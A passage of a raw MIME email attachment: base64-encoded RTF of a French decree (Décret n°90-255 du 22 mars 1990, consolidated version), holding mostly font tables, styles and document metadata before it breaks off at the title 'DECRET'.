------=_Part_6298_2127687058.1445175107096-- ------=_Part_6297_783631666.1445175107096 Content-Type: application/msword; name="=?UTF-8?Q?D=C3=A9cret=5Fn=C2=B090-255=5Fdu=5F22=5Fmars=5F1990=5Fv?= =?UTF-8?Q?ersion=5Fconsolidee=5Fau=5F20080311.rtf?=" content-transfer-encoding: base64 Content-Disposition: attachment; size=49556; size=49930; filename="=?UTF-8?Q?D=C3=A9cret=5Fn=C2=B090-255=5Fdu=5F22=5Fmars=5F1990=5Fv?= =?UTF-8?Q?ersion=5Fconsolidee=5Fau=5F20080311.rtf?=" e1xydGYxXGFkZWZsYW5nMTAyNVxhbnNpXGFuc2ljcGcxMjUyXHVjMVxhZGVmZjBcZGVmZjBcc3Rz aGZkYmNoMFxzdHNoZmxvY2gwXHN0c2hmaGljaDBcc3RzaGZiaTBcZGVmbGFuZzEwMzZcZGVmbGFu Z2ZlMTAzNlx0aGVtZWxhbmcxMDM2XHRoZW1lbGFuZ2ZlMFx0aGVtZWxhbmdjczB7XGZvbnR0Ymx7 XGYwXGZiaWRpIFxmcm9tYW5cZmNoYXJzZXQwXGZwcnEye1wqXHBhbm9zZSAwMjAyMDYwMzA1MDQw NTAyMDMwNH1UaW1lcyBOZXcgUm9tYW47fXtcZjFcZmJpZGkgXGZzd2lzc1xmY2hhcnNldDBcZnBy cTJ7XCpccGFub3NlIDAyMGIwNjA0MDIwMjAyMDIwMjA0fUFyaWFsO30NCntcZjM0XGZiaWRpIFxm cm9tYW5cZmNoYXJzZXQwXGZwcnEye1wqXHBhbm9zZSAwMjA0MDUwMzA1MDQwNjAzMDIwNH1DYW1i cmlhIE1hdGg7fXtcZmxvbWFqb3JcZjMxNTAwXGZiaWRpIFxmcm9tYW5cZmNoYXJzZXQwXGZwcnEy e1wqXHBhbm9zZSAwMjAyMDYwMzA1MDQwNTAyMDMwNH1UaW1lcyBOZXcgUm9tYW47fQ0Ke1xmZGJt YWpvclxmMzE1MDFcZmJpZGkgXGZyb21hblxmY2hhcnNldDBcZnBycTJ7XCpccGFub3NlIDAyMDIw NjAzMDUwNDA1MDIwMzA0fVRpbWVzIE5ldyBSb21hbjt9e1xmaGltYWpvclxmMzE1MDJcZmJpZGkg XGZyb21hblxmY2hhcnNldDBcZnBycTJ7XCpccGFub3NlIDAyMDQwNTAzMDUwNDA2MDMwMjA0fUNh bWJyaWE7fQ0Ke1xmYmltYWpvclxmMzE1MDNcZmJpZGkgXGZyb21hblxmY2hhcnNldDBcZnBycTJ7 XCpccGFub3NlIDAyMDIwNjAzMDUwNDA1MDIwMzA0fVRpbWVzIE5ldyBSb21hbjt9e1xmbG9taW5v clxmMzE1MDRcZmJpZGkgXGZyb21hblxmY2hhcnNldDBcZnBycTJ7XCpccGFub3NlIDAyMDIwNjAz MDUwNDA1MDIwMzA0fVRpbWVzIE5ldyBSb21hbjt9DQp7XGZkYm1pbm9yXGYzMTUwNVxmYmlkaSBc ZnJvbWFuXGZjaGFyc2V0MFxmcHJxMntcKlxwYW5vc2UgMDIwMjA2MDMwNTA0MDUwMjAzMDR9VGlt ZXMgTmV3IFJvbWFuO317XGZoaW1pbm9yXGYzMTUwNlxmYmlkaSBcZnN3aXNzXGZjaGFyc2V0MFxm cHJxMntcKlxwYW5vc2UgMDIwZjA1MDIwMjAyMDQwMzAyMDR9Q2FsaWJyaTt9DQp7XGZiaW1pbm9y XGYzMTUwN1xmYmlkaSBcZnJvbWFuXGZjaGFyc2V0MFxmcHJxMntcKlxwYW5vc2UgMDIwMjA2MDMw NTA0MDUwMjAzMDR9VGltZXMgTmV3IFJvbWFuO317XGYzOVxmYmlkaSBcZnJvbWFuXGZjaGFyc2V0 MjM4XGZwcnEyIFRpbWVzIE5ldyBSb21hbiBDRTt9e1xmNDBcZmJpZGkgXGZyb21hblxmY2hhcnNl dDIwNFxmcHJxMiBUaW1lcyBOZXcgUm9tYW4gQ3lyO30NCntcZjQyXGZiaWRpIFxmcm9tYW5cZmNo YXJzZXQxNjFcZnBycTIgVGltZXMgTmV3IFJvbWFuIEdyZWVrO317XGY0M1xmYmlkaSBcZnJvbWFu XGZjaGFyc2V0MTYyXGZwcnEyIFRpbWVzIE5ldyBSb21hbiBUdXI7fXtcZjQ0XGZiaWRpIFxmcm9t YW5cZmNoYXJzZXQxNzdcZnBycTIgVGltZXMgTmV3IFJvbWFuIChIZWJyZXcpO317XGY0NVxmYmlk aSBcZnJvbWFuXGZjaGFyc2V0MTc4XGZwcnEyIFRpbWVzIE5ldyBSb21hbiAoQXJhYmljKTt9DQp7 XGY0NlxmYmlkaSBcZnJvbWFuXGZjaGFyc2V0MTg2XGZwcnEyIFRpbWVzIE5ldyBSb21hbiBCYWx0 aWM7fXtcZjQ3XGZiaWRpIFxmcm9tYW5cZmNoYXJzZXQxNjNcZnBycTIgVGltZXMgTmV3IFJvbWFu IChWaWV0bmFtZXNlKTt9e1xmNDlcZmJpZGkgXGZzd2lzc1xmY2hhcnNldDIzOFxmcHJxMiBBcmlh bCBDRTt9e1xmNTBcZmJpZGkgXGZzd2lzc1xmY2hhcnNldDIwNFxmcHJxMiBBcmlhbCBDeXI7fQ0K e1xmNTJcZmJpZGkgXGZzd2lzc1xmY2hhcnNldDE2MVxmcHJxMiBBcmlhbCBHcmVlazt9e1xmNTNc ZmJpZGkgXGZzd2lzc1xmY2hhcnNldDE2MlxmcHJxMiBBcmlhbCBUdXI7fXtcZjU0XGZiaWRpIFxm c3dpc3NcZmNoYXJzZXQxNzdcZnBycTIgQXJpYWwgKEhlYnJldyk7fXtcZjU1XGZiaWRpIFxmc3dp c3NcZmNoYXJzZXQxNzhcZnBycTIgQXJpYWwgKEFyYWJpYyk7fQ0Ke1xmNTZcZmJpZGkgXGZzd2lz c1xmY2hhcnNldDE4NlxmcHJxMiBBcmlhbCBCYWx0aWM7fXtcZjU3XGZiaWRpIFxmc3dpc3NcZmNo YXJzZXQxNjNcZnBycTIgQXJpYWwgKFZpZXRuYW1lc2UpO317XGYzNzlcZmJpZGkgXGZyb21hblxm Y2hhcnNldDIzOFxmcHJxMiBDYW1icmlhIE1hdGggQ0U7fXtcZjM4MFxmYmlkaSBcZnJvbWFuXGZj aGFyc2V0MjA0XGZwcnEyIENhbWJyaWEgTWF0aCBDeXI7fQ0Ke1xmMzgyXGZiaWRpIFxmcm9tYW5c ZmNoYXJzZXQxNjFcZnBycTIgQ2FtYnJpYSBNYXRoIEdyZWVrO317XGYzODNcZmJpZGkgXGZyb21h blxmY2hhcnNldDE2MlxmcHJxMiBDYW1icmlhIE1hdGggVHVyO317XGYzODZcZmJpZGkgXGZyb21h blxmY2hhcnNldDE4NlxmcHJxMiBDYW1icmlhIE1hdGggQmFsdGljO317XGYzODdcZmJpZGkgXGZy b21hblxmY2hhcnNldDE2M1xmcHJxMiBDYW1icmlhIE1hdGggKFZpZXRuYW1lc2UpO30NCntcZmxv bWFqb3JcZjMxNTA4XGZiaWRpIFxmcm9tYW5cZmNoYXJzZXQyMzhcZnBycTIgVGltZXMgTmV3IFJv bWFuIENFO317XGZsb21ham9yXGYzMTUwOVxmYmlkaSBcZnJvbWFuXGZjaGFyc2V0MjA0XGZwcnEy IFRpbWVzIE5ldyBSb21hbiBDeXI7fXtcZmxvbWFqb3JcZjMxNTExXGZiaWRpIFxmcm9tYW5cZmNo YXJzZXQxNjFcZnBycTIgVGltZXMgTmV3IFJvbWFuIEdyZWVrO30NCntcZmxvbWFqb3JcZjMxNTEy XGZiaWRpIFxmcm9tYW5cZmNoYXJzZXQxNjJcZnBycTIgVGltZXMgTmV3IFJvbWFuIFR1cjt9e1xm bG9tYWpvclxmMzE1MTNcZmJpZGkgXGZyb21hblxmY2hhcnNldDE3N1xmcHJxMiBUaW1lcyBOZXcg Um9tYW4gKEhlYnJldyk7fXtcZmxvbWFqb3JcZjMxNTE0XGZiaWRpIFxmcm9tYW5cZmNoYXJzZXQx NzhcZnBycTIgVGltZXMgTmV3IFJvbWFuIChBcmFiaWMpO30NCntcZmxvbWFqb3JcZjMxNTE1XGZi aWRpIFxmcm9tYW5cZmNoYXJzZXQxODZcZnBycTIgVGltZXMgTmV3IFJvbWFuIEJhbHRpYzt9e1xm bG9tYWpvclxmMzE1MTZcZmJpZGkgXGZyb21hblxmY2hhcnNldDE2M1xmcHJxMiBUaW1lcyBOZXcg Um9tYW4gKFZpZXRuYW1lc2UpO317XGZkYm1ham9yXGYzMTUxOFxmYmlkaSBcZnJvbWFuXGZjaGFy c2V0MjM4XGZwcnEyIFRpbWVzIE5ldyBSb21hbiBDRTt9DQp7XGZkYm1ham9yXGYzMTUxOVxmYmlk aSBcZnJvbWFuXGZjaGFyc2V0MjA0XGZwcnEyIFRpbWVzIE5ldyBSb21hbiBDeXI7fXtcZmRibWFq b3JcZjMxNTIxXGZiaWRpIFxmcm9tYW5cZmNoYXJzZXQxNjFcZnBycTIgVGltZXMgTmV3IFJvbWFu IEdyZWVrO317XGZkYm1ham9yXGYzMTUyMlxmYmlkaSBcZnJvbWFuXGZjaGFyc2V0MTYyXGZwcnEy IFRpbWVzIE5ldyBSb21hbiBUdXI7fQ0Ke1xmZGJtYWpvclxmMzE1MjNcZmJpZGkgXGZyb21hblxm Y2hhcnNldDE3N1xmcHJxMiBUaW1lcyBOZXcgUm9tYW4gKEhlYnJldyk7fXtcZmRibWFqb3JcZjMx NTI0XGZiaWRpIFxmcm9tYW5cZmNoYXJzZXQxNzhcZnBycTIgVGltZXMgTmV3IFJvbWFuIChBcmFi aWMpO317XGZkYm1ham9yXGYzMTUyNVxmYmlkaSBcZnJvbWFuXGZjaGFyc2V0MTg2XGZwcnEyIFRp bWVzIE5ldyBSb21hbiBCYWx0aWM7fQ0Ke1xmZGJtYWpvclxmMzE1MjZcZmJpZGkgXGZyb21hblxm Y2hhcnNldDE2M1xmcHJxMiBUaW1lcyBOZXcgUm9tYW4gKFZpZXRuYW1lc2UpO317XGZoaW1ham9y XGYzMTUyOFxmYmlkaSBcZnJvbWFuXGZjaGFyc2V0MjM4XGZwcnEyIENhbWJyaWEgQ0U7fXtcZmhp bWFqb3JcZjMxNTI5XGZiaWRpIFxmcm9tYW5cZmNoYXJzZXQyMDRcZnBycTIgQ2FtYnJpYSBDeXI7 fQ0Ke1xmaGltYWpvclxmMzE1MzFcZmJpZGkgXGZyb21hblxmY2hhcnNldDE2MVxmcHJxMiBDYW1i cmlhIEdyZWVrO317XGZoaW1ham9yXGYzMTUzMlxmYmlkaSBcZnJvbWFuXGZjaGFyc2V0MTYyXGZw cnEyIENhbWJyaWEgVHVyO317XGZoaW1ham9yXGYzMTUzNVxmYmlkaSBcZnJvbWFuXGZjaGFyc2V0 MTg2XGZwcnEyIENhbWJyaWEgQmFsdGljO30NCntcZmhpbWFqb3JcZjMxNTM2XGZiaWRpIFxmcm9t YW5cZmNoYXJzZXQxNjNcZnBycTIgQ2FtYnJpYSAoVmlldG5hbWVzZSk7fXtcZmJpbWFqb3JcZjMx NTM4XGZiaWRpIFxmcm9tYW5cZmNoYXJzZXQyMzhcZnBycTIgVGltZXMgTmV3IFJvbWFuIENFO317 XGZiaW1ham9yXGYzMTUzOVxmYmlkaSBcZnJvbWFuXGZjaGFyc2V0MjA0XGZwcnEyIFRpbWVzIE5l dyBSb21hbiBDeXI7fQ0Ke1xmYmltYWpvclxmMzE1NDFcZmJpZGkgXGZyb21hblxmY2hhcnNldDE2 MVxmcHJxMiBUaW1lcyBOZXcgUm9tYW4gR3JlZWs7fXtcZmJpbWFqb3JcZjMxNTQyXGZiaWRpIFxm cm9tYW5cZmNoYXJzZXQxNjJcZnBycTIgVGltZXMgTmV3IFJvbWFuIFR1cjt9e1xmYmltYWpvclxm MzE1NDNcZmJpZGkgXGZyb21hblxmY2hhcnNldDE3N1xmcHJxMiBUaW1lcyBOZXcgUm9tYW4gKEhl YnJldyk7fQ0Ke1xmYmltYWpvclxmMzE1NDRcZmJpZGkgXGZyb21hblxmY2hhcnNldDE3OFxmcHJx MiBUaW1lcyBOZXcgUm9tYW4gKEFyYWJpYyk7fXtcZmJpbWFqb3JcZjMxNTQ1XGZiaWRpIFxmcm9t YW5cZmNoYXJzZXQxODZcZnBycTIgVGltZXMgTmV3IFJvbWFuIEJhbHRpYzt9e1xmYmltYWpvclxm MzE1NDZcZmJpZGkgXGZyb21hblxmY2hhcnNldDE2M1xmcHJxMiBUaW1lcyBOZXcgUm9tYW4gKFZp ZXRuYW1lc2UpO30NCntcZmxvbWlub3JcZjMxNTQ4XGZiaWRpIFxmcm9tYW5cZmNoYXJzZXQyMzhc ZnBycTIgVGltZXMgTmV3IFJvbWFuIENFO317XGZsb21pbm9yXGYzMTU0OVxmYmlkaSBcZnJvbWFu XGZjaGFyc2V0MjA0XGZwcnEyIFRpbWVzIE5ldyBSb21hbiBDeXI7fXtcZmxvbWlub3JcZjMxNTUx XGZiaWRpIFxmcm9tYW5cZmNoYXJzZXQxNjFcZnBycTIgVGltZXMgTmV3IFJvbWFuIEdyZWVrO30N CntcZmxvbWlub3JcZjMxNTUyXGZiaWRpIFxmcm9tYW5cZmNoYXJzZXQxNjJcZnBycTIgVGltZXMg TmV3IFJvbWFuIFR1cjt9e1xmbG9taW5vclxmMzE1NTNcZmJpZGkgXGZyb21hblxmY2hhcnNldDE3 N1xmcHJxMiBUaW1lcyBOZXcgUm9tYW4gKEhlYnJldyk7fXtcZmxvbWlub3JcZjMxNTU0XGZiaWRp IFxmcm9tYW5cZmNoYXJzZXQxNzhcZnBycTIgVGltZXMgTmV3IFJvbWFuIChBcmFiaWMpO30NCntc ZmxvbWlub3JcZjMxNTU1XGZiaWRpIFxmcm9tYW5cZmNoYXJzZXQxODZcZnBycTIgVGltZXMgTmV3 IFJvbWFuIEJhbHRpYzt9e1xmbG9taW5vclxmMzE1NTZcZmJpZGkgXGZyb21hblxmY2hhcnNldDE2 M1xmcHJxMiBUaW1lcyBOZXcgUm9tYW4gKFZpZXRuYW1lc2UpO317XGZkYm1pbm9yXGYzMTU1OFxm YmlkaSBcZnJvbWFuXGZjaGFyc2V0MjM4XGZwcnEyIFRpbWVzIE5ldyBSb21hbiBDRTt9DQp7XGZk Ym1pbm9yXGYzMTU1OVxmYmlkaSBcZnJvbWFuXGZjaGFyc2V0MjA0XGZwcnEyIFRpbWVzIE5ldyBS b21hbiBDeXI7fXtcZmRibWlub3JcZjMxNTYxXGZiaWRpIFxmcm9tYW5cZmNoYXJzZXQxNjFcZnBy cTIgVGltZXMgTmV3IFJvbWFuIEdyZWVrO317XGZkYm1pbm9yXGYzMTU2MlxmYmlkaSBcZnJvbWFu XGZjaGFyc2V0MTYyXGZwcnEyIFRpbWVzIE5ldyBSb21hbiBUdXI7fQ0Ke1xmZGJtaW5vclxmMzE1 NjNcZmJpZGkgXGZyb21hblxmY2hhcnNldDE3N1xmcHJxMiBUaW1lcyBOZXcgUm9tYW4gKEhlYnJl dyk7fXtcZmRibWlub3JcZjMxNTY0XGZiaWRpIFxmcm9tYW5cZmNoYXJzZXQxNzhcZnBycTIgVGlt ZXMgTmV3IFJvbWFuIChBcmFiaWMpO317XGZkYm1pbm9yXGYzMTU2NVxmYmlkaSBcZnJvbWFuXGZj aGFyc2V0MTg2XGZwcnEyIFRpbWVzIE5ldyBSb21hbiBCYWx0aWM7fQ0Ke1xmZGJtaW5vclxmMzE1 NjZcZmJpZGkgXGZyb21hblxmY2hhcnNldDE2M1xmcHJxMiBUaW1lcyBOZXcgUm9tYW4gKFZpZXRu YW1lc2UpO317XGZoaW1pbm9yXGYzMTU2OFxmYmlkaSBcZnN3aXNzXGZjaGFyc2V0MjM4XGZwcnEy IENhbGlicmkgQ0U7fXtcZmhpbWlub3JcZjMxNTY5XGZiaWRpIFxmc3dpc3NcZmNoYXJzZXQyMDRc ZnBycTIgQ2FsaWJyaSBDeXI7fQ0Ke1xmaGltaW5vclxmMzE1NzFcZmJpZGkgXGZzd2lzc1xmY2hh cnNldDE2MVxmcHJxMiBDYWxpYnJpIEdyZWVrO317XGZoaW1pbm9yXGYzMTU3MlxmYmlkaSBcZnN3 aXNzXGZjaGFyc2V0MTYyXGZwcnEyIENhbGlicmkgVHVyO317XGZoaW1pbm9yXGYzMTU3NVxmYmlk aSBcZnN3aXNzXGZjaGFyc2V0MTg2XGZwcnEyIENhbGlicmkgQmFsdGljO30NCntcZmhpbWlub3Jc ZjMxNTc2XGZiaWRpIFxmc3dpc3NcZmNoYXJzZXQxNjNcZnBycTIgQ2FsaWJyaSAoVmlldG5hbWVz ZSk7fXtcZmJpbWlub3JcZjMxNTc4XGZiaWRpIFxmcm9tYW5cZmNoYXJzZXQyMzhcZnBycTIgVGlt ZXMgTmV3IFJvbWFuIENFO317XGZiaW1pbm9yXGYzMTU3OVxmYmlkaSBcZnJvbWFuXGZjaGFyc2V0 MjA0XGZwcnEyIFRpbWVzIE5ldyBSb21hbiBDeXI7fQ0Ke1xmYmltaW5vclxmMzE1ODFcZmJpZGkg XGZyb21hblxmY2hhcnNldDE2MVxmcHJxMiBUaW1lcyBOZXcgUm9tYW4gR3JlZWs7fXtcZmJpbWlu b3JcZjMxNTgyXGZiaWRpIFxmcm9tYW5cZmNoYXJzZXQxNjJcZnBycTIgVGltZXMgTmV3IFJvbWFu IFR1cjt9e1xmYmltaW5vclxmMzE1ODNcZmJpZGkgXGZyb21hblxmY2hhcnNldDE3N1xmcHJxMiBU aW1lcyBOZXcgUm9tYW4gKEhlYnJldyk7fQ0Ke1xmYmltaW5vclxmMzE1ODRcZmJpZGkgXGZyb21h blxmY2hhcnNldDE3OFxmcHJxMiBUaW1lcyBOZXcgUm9tYW4gKEFyYWJpYyk7fXtcZmJpbWlub3Jc ZjMxNTg1XGZiaWRpIFxmcm9tYW5cZmNoYXJzZXQxODZcZnBycTIgVGltZXMgTmV3IFJvbWFuIEJh bHRpYzt9e1xmYmltaW5vclxmMzE1ODZcZmJpZGkgXGZyb21hblxmY2hhcnNldDE2M1xmcHJxMiBU aW1lcyBOZXcgUm9tYW4gKFZpZXRuYW1lc2UpO319DQp7XGNvbG9ydGJsO1xyZWQwXGdyZWVuMFxi bHVlMDtccmVkMFxncmVlbjBcYmx1ZTI1NTtccmVkMFxncmVlbjI1NVxibHVlMjU1O1xyZWQwXGdy ZWVuMjU1XGJsdWUwO1xyZWQyNTVcZ3JlZW4wXGJsdWUyNTU7XHJlZDI1NVxncmVlbjBcYmx1ZTA7 XHJlZDI1NVxncmVlbjI1NVxibHVlMDtccmVkMjU1XGdyZWVuMjU1XGJsdWUyNTU7XHJlZDBcZ3Jl ZW4wXGJsdWUxMjg7XHJlZDBcZ3JlZW4xMjhcYmx1ZTEyODtccmVkMFxncmVlbjEyOFxibHVlMDsN ClxyZWQxMjhcZ3JlZW4wXGJsdWUxMjg7XHJlZDEyOFxncmVlbjBcYmx1ZTA7XHJlZDEyOFxncmVl bjEyOFxibHVlMDtccmVkMTI4XGdyZWVuMTI4XGJsdWUxMjg7XHJlZDE5MlxncmVlbjE5MlxibHVl MTkyO317XCpcZGVmY2hwIFxmczIyIH17XCpcZGVmcGFwIFxxbCBcbGkwXHJpMFxzYTIwMFxzbDI3 NlxzbG11bHQxXHdpZGN0bHBhclx3cmFwZGVmYXVsdFxhc3BhbHBoYVxhc3BudW1cZmFhdXRvXGFk anVzdHJpZ2h0XHJpbjBcbGluMFxpdGFwMCB9DQpcbm9xZnByb21vdGUge1xzdHlsZXNoZWV0e1xx bCBcbGkwXHJpMFx3aWRjdGxwYXJcd3JhcGRlZmF1bHRcYXNwYWxwaGFcYXNwbnVtXGZhYXV0b1xh ZGp1c3RyaWdodFxyaW4wXGxpbjBcaXRhcDAgXHJ0bGNoXGZjczEgXGFmMFxhZnMyNFxhbGFuZzEw MjUgXGx0cmNoXGZjczAgXGZzMjRcbGFuZzEwMzZcbGFuZ2ZlMTAzNlxjZ3JpZFxsYW5nbnAxMDM2 XGxhbmdmZW5wMTAzNiBcc25leHQwIFxzcWZvcm1hdCBcc3ByaW9yaXR5MCBOb3JtYWw7fXtcKg0K XGNzMTAgXGFkZGl0aXZlIFxzc2VtaWhpZGRlbiBEZWZhdWx0IFBhcmFncmFwaCBGb250O317XCoN Clx0czExXHRzcm93ZFx0cmZ0c1dpZHRoQjNcdHJwYWRkbDEwOFx0cnBhZGRyMTA4XHRycGFkZGZs M1x0cnBhZGRmdDNcdHJwYWRkZmIzXHRycGFkZGZyM1x0cmNicGF0MVx0cmNmcGF0MVx0YmxpbmQw XHRibGluZHR5cGUzXHRzY2VsbHdpZHRoZnRzMFx0c3ZlcnRhbHRcdHNicmRydFx0c2JyZHJsXHRz YnJkcmJcdHNicmRyclx0c2JyZHJkZ2xcdHNicmRyZGdyXHRzYnJkcmhcdHNicmRydiBccWwgXGxp MFxyaTBcc2EyMDBcc2wyNzZcc2xtdWx0MQ0KXHdpZGN0bHBhclx3cmFwZGVmYXVsdFxhc3BhbHBo YVxhc3BudW1cZmFhdXRvXGFkanVzdHJpZ2h0XHJpbjBcbGluMFxpdGFwMCBccnRsY2hcZmNzMSBc YWYwXGFmczIyXGFsYW5nMTAyNSBcbHRyY2hcZmNzMCBcZnMyMlxsYW5nMTAzNlxsYW5nZmUxMDM2 XGNncmlkXGxhbmducDEwMzZcbGFuZ2ZlbnAxMDM2IFxzbmV4dDExIFxzc2VtaWhpZGRlbiBcc3Vu aGlkZXVzZWQgXHNxZm9ybWF0IE5vcm1hbCBUYWJsZTt9fXtcKlxsaXN0dGFibGUNCntcbGlzdFxs aXN0dGVtcGxhdGVpZDE2MzY3MjAxNjVcbGlzdHNpbXBsZXtcbGlzdGxldmVsXGxldmVsbmZjMjNc bGV2ZWxuZmNuMjNcbGV2ZWxqYzBcbGV2ZWxqY24wXGxldmVsZm9sbG93MFxsZXZlbHN0YXJ0YXQx XGxldmVsc3BhY2UwXGxldmVsaW5kZW50MzYwe1xsZXZlbHRleHRcJzAxXCdiNzt9e1xsZXZlbG51 bWJlcnM7fVxmMFxocmVzMFxjaGhyZXMwIH17XGxpc3RuYW1lIDt9XGxpc3RpZDg5NzcxMzMxNn0N CntcbGlzdFxsaXN0dGVtcGxhdGVpZC0xMDAxMjE5OTk1XGxpc3RzaW1wbGV7XGxpc3RsZXZlbFxs ZXZlbG5mYzIzXGxldmVsbmZjbjIzXGxldmVsamMwXGxldmVsamNuMFxsZXZlbGZvbGxvdzBcbGV2 ZWxzdGFydGF0MVxsZXZlbHNwYWNlMFxsZXZlbGluZGVudDM2MHtcbGV2ZWx0ZXh0XCcwMVwnYjc7 fXtcbGV2ZWxudW1iZXJzO31cZjBcaHJlczBcY2hocmVzMCB9e1xsaXN0bmFtZSA7fVxsaXN0aWQ5 MDAwMjE4MTB9fQ0Ke1wqXGxpc3RvdmVycmlkZXRhYmxle1xsaXN0b3ZlcnJpZGVcbGlzdGlkOTAw MDIxODEwXGxpc3RvdmVycmlkZWNvdW50MFxsczF9e1xsaXN0b3ZlcnJpZGVcbGlzdGlkODk3NzEz MzE2XGxpc3RvdmVycmlkZWNvdW50MFxsczJ9fXtcKlxyc2lkdGJsIFxyc2lkMTk4MjkyMlxyc2lk NDY3ODYyNlxyc2lkNTEyNDAyMlxyc2lkNTIwNjY2Mlxyc2lkODQxMjAyN1xyc2lkOTUxODUwNn17 XG1tYXRoUHJcbW1hdGhGb250MzRcbWJya0JpbjANClxtYnJrQmluU3ViMFxtc21hbGxGcmFjMFxt ZGlzcERlZjFcbWxNYXJnaW4wXG1yTWFyZ2luMFxtZGVmSmMxXG13cmFwSW5kZW50MTQ0MFxtaW50 TGltMFxtbmFyeUxpbTF9e1xpbmZve1x0aXRsZSBMZSAxIG9jdG9icmUgMjAwOH17XGF1dGhvciBN QUNIRURBfXtcb3BlcmF0b3IgTUFDSEVEQX17XGNyZWF0aW1ceXIyMDE1XG1vMTBcZHkxOFxocjE0 XG1pbjMyfXtccmV2dGltXHlyMjAxNVxtbzEwXGR5MThcaHIxNFxtaW4zMn17XHZlcnNpb24yfQ0K e1xlZG1pbnMyfXtcbm9mcGFnZXMxfXtcbm9md29yZHMzNDh9e1xub2ZjaGFyczE3MTh9e1xub2Zj aGFyc3dzMjA2Mn17XHZlcm4zMjc3NX19e1wqXHVzZXJwcm9wcyB7XHByb3BuYW1lIGpmb3JDcmVh dGVkVGhpc09ufVxwcm9wdHlwZTMwe1xzdGF0aWN2YWwgV2VkIE9jdCAwMSAxNjoyMDozMyBDRVNU IDIwMDh9e1xwcm9wbmFtZSBqZm9yVmVyc2lvbn1ccHJvcHR5cGUzMHtcc3RhdGljdmFsIGpmb3Ig VjAuNy4ycmMxIC0gc2VlIGh0dHA6Ly93d3cuDQpqZm9yLm9yZ319e1wqXHhtbG5zdGJsIHtceG1s bnMxIGh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vb2ZmaWNlL3dvcmQvMjAwMy93b3JkbWx9 fVxwYXBlcncxMTkwNVxwYXBlcmgxNjgzN1xtYXJnbDExMzNcbWFyZ3IxMTMzXG1hcmd0MTEzM1xt YXJnYjExMzNcZ3V0dGVyMFxsdHJzZWN0IA0KXHdpZG93Y3RybFxmdG5ialxhZW5kZG9jXGh5cGho b3R6NDI1XHRyYWNrbW92ZXMxXHRyYWNrZm9ybWF0dGluZzFcZG9ub3RlbWJlZHN5c2ZvbnQwXHJl bHlvbnZtbDBcZG9ub3RlbWJlZGxpbmdkYXRhMVxncmZkb2NldmVudHMwXHZhbGlkYXRleG1sMFxz aG93cGxhY2Vob2xkdGV4dDBcaWdub3JlbWl4ZWRjb250ZW50MFxzYXZlaW52YWxpZHhtbDBcc2hv d3htbGVycm9yczBcaG9yemRvY1xkZ2hzcGFjZTEyMFxkZ3ZzcGFjZTEyMA0KXGRnaG9yaWdpbjE3 MDFcZGd2b3JpZ2luMTk4NFxkZ2hzaG93MFxkZ3ZzaG93M1xqY29tcHJlc3Ncdmlld2tpbmQxXHZp ZXdzY2FsZTEwMFxyc2lkcm9vdDUyMDY2NjIgXGZldDB7XCpcd2dyZmZtdGZpbHRlciAwMTNmfVxp bGZvbWFjYXRjbG51cDBcbHRycGFyIFxzZWN0ZCBcbHRyc2VjdFxsaW5leDBcc2VjdGRlZmF1bHRj bFxzZnRuYmoge1wqXHBuc2VjbHZsMVxwbnVjcm1ccG5zdGFydDFccG5pbmRlbnQ3MjBccG5oYW5n IHtccG50eHRhIC59fQ0Ke1wqXHBuc2VjbHZsMlxwbnVjbHRyXHBuc3RhcnQxXHBuaW5kZW50NzIw XHBuaGFuZyB7XHBudHh0YSAufX17XCpccG5zZWNsdmwzXHBuZGVjXHBuc3RhcnQxXHBuaW5kZW50 NzIwXHBuaGFuZyB7XHBudHh0YSAufX17XCpccG5zZWNsdmw0XHBubGNsdHJccG5zdGFydDFccG5p bmRlbnQ3MjBccG5oYW5nIHtccG50eHRhICl9fXtcKlxwbnNlY2x2bDVccG5kZWNccG5zdGFydDFc cG5pbmRlbnQ3MjBccG5oYW5nIHtccG50eHRiICh9e1xwbnR4dGEgKX19DQp7XCpccG5zZWNsdmw2 XHBubGNsdHJccG5zdGFydDFccG5pbmRlbnQ3MjBccG5oYW5nIHtccG50eHRiICh9e1xwbnR4dGEg KX19e1wqXHBuc2VjbHZsN1xwbmxjcm1ccG5zdGFydDFccG5pbmRlbnQ3MjBccG5oYW5nIHtccG50 eHRiICh9e1xwbnR4dGEgKX19e1wqXHBuc2VjbHZsOFxwbmxjbHRyXHBuc3RhcnQxXHBuaW5kZW50 NzIwXHBuaGFuZyB7XHBudHh0YiAofXtccG50eHRhICl9fXtcKlxwbnNlY2x2bDkNClxwbmxjcm1c cG5zdGFydDFccG5pbmRlbnQ3MjBccG5oYW5nIHtccG50eHRiICh9e1xwbnR4dGEgKX19XHBhcmRc cGxhaW4gXGx0cnBhclxxciBcbGkwXHJpMFxub3dpZGN0bHBhclx3cmFwZGVmYXVsdFxmYWF1dG9c cmluMFxsaW4wXGl0YXAwIFxydGxjaFxmY3MxIFxhZjBcYWZzMjRcYWxhbmcxMDI1IFxsdHJjaFxm Y3MwIFxmczI0XGxhbmcxMDM2XGxhbmdmZTEwMzZcY2dyaWRcbGFuZ25wMTAzNlxsYW5nZmVucDEw MzYge1xydGxjaFxmY3MxIA0KXGFmMSBcbHRyY2hcZmNzMCBcZjFcaW5zcnNpZDUyMDY2NjIgTGUg fXtccnRsY2hcZmNzMSBcYWYxIFxsdHJjaFxmY3MwIFxmMVxpbnNyc2lkOTUxODUwNiAxOH17XHJ0 bGNoXGZjczEgXGFmMSBcbHRyY2hcZmNzMCBcZjFcaW5zcnNpZDUyMDY2NjIgIG9jdG9icmUgMjB9 e1xydGxjaFxmY3MxIFxhZjEgXGx0cmNoXGZjczAgXGYxXGluc3JzaWQ5NTE4NTA2IDE1fXtccnRs Y2hcZmNzMSBcYWYxIFxsdHJjaFxmY3MwIFxmMVxpbnNyc2lkNTIwNjY2MiANCg0KXHBhciB9XHBh cmQgXGx0cnBhclxxbCBcbGkwXHJpMFxub3dpZGN0bHBhclx3cmFwZGVmYXVsdFxmYWF1dG9ccmlu MFxsaW4wXGl0YXAwIHtccnRsY2hcZmNzMSBcYWYxIFxsdHJjaFxmY3MwIFxmMVxpbnNyc2lkNTIw NjY2MiBcfg0KXHBhciBcfg0KXHBhciB9XHBhcmQgXGx0cnBhclxxYyBcbGkwXHJpMFxub3dpZGN0 bHBhclx3cmFwZGVmYXVsdFxmYWF1dG9ccmluMFxsaW4wXGl0YXAwIHtccnRsY2hcZmNzMSBcYWYx IFxsdHJjaFxmY3MwIFxmMVxpbnNyc2lkNTIwNjY2MiBERUNSRVQNClxwYXIgfXtccnRsY2hcZmNz 